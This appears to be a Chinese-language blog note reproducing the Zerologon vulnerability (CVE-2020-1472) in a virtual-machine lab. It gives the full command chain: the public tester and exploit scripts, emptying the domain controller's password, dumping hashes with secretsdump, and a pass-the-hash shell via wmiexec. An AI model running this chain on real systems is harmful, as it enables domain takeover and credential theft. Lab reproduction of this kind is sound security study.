PJzhang:CVE-2020-1472微軟NetLogon許可權提升漏洞~復現

  • 2020 年 9 月 28 日
  • 筆記

貓寧~~~

 

虛擬機上進行

安裝windows 2008 R2

查看伺服器ip

本地連接屬性,取消ipv6,ip設置為192.168.43.158,子網掩碼255.255.255.0,網關192.168.43.1,DNS設置192.168.43.1

打開初始配置任務,添加伺服器角色,選擇active directory域服務

dcpromo,開啟active directory域服務安裝嚮導,新林中新建域,輸入域名www.pjzhang.com,密碼設置123.aaa,重啟計算機

安裝windows 7

本地連接屬性,取消ipv6,ip設置為192.168.43.241,子網掩碼255.255.255.0,網關192.168.43.1,DNS設置192.168.43.158

計算機屬性,更改設置,計算機名更改,隸屬於域中填寫www.pjzhang.com,帳號密碼administrator/123.aaa,重啟計算機

//github.com/SecuraBV/CVE-2020-1472

git clone //github.com/SecuraBV/CVE-2020-1472.git

kali linux攻擊機
apt-get install python3-pip
pip3 install -r requirements.txt
計算機屬性查看windows 2008 r2的計算機名
python3 zerologon_tester.py WIN-U2A9B1M49R3 192.168.43.158
顯示Success! DC can be fully compromised by a Zerologon attack.

//github.com/dirkjanm/CVE-2020-1472
git clone //github.com/dirkjanm/CVE-2020-1472.git
python3 cve-2020-1472-exploit.py WIN-U2A9B1M49R3 192.168.43.158
報錯
Unexpected error: module ‘impacket.dcerpc.v5.nrpc’ has no attribute ‘NetrServerPasswordSet2’.

git clone //github.com/SecureAuthCorp/impacketcd
cd impacket/
pip3 install . 點代表目錄

python3 cve-2020-1472-exploit.py WIN-U2A9B1M49R3 192.168.43.158
顯示Exploit complete!,域控密碼修改為空

cd impacket/examples
python3 secretsdump.py WIN-U2A9B1M49R3\[email protected] -no-pass
注意上方的反斜杠
獲得Administrator:500:aad3b435b51404eeaad3b435b51404ee:28553a7f5b14b5e60ba4d7cce9045e3d:::

cd impacket/examples
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:28553a7f5b14b5e60ba4d7cce9045e3d [email protected]
連接上域控C:\>
顯示
C:\>whoami
www\administrator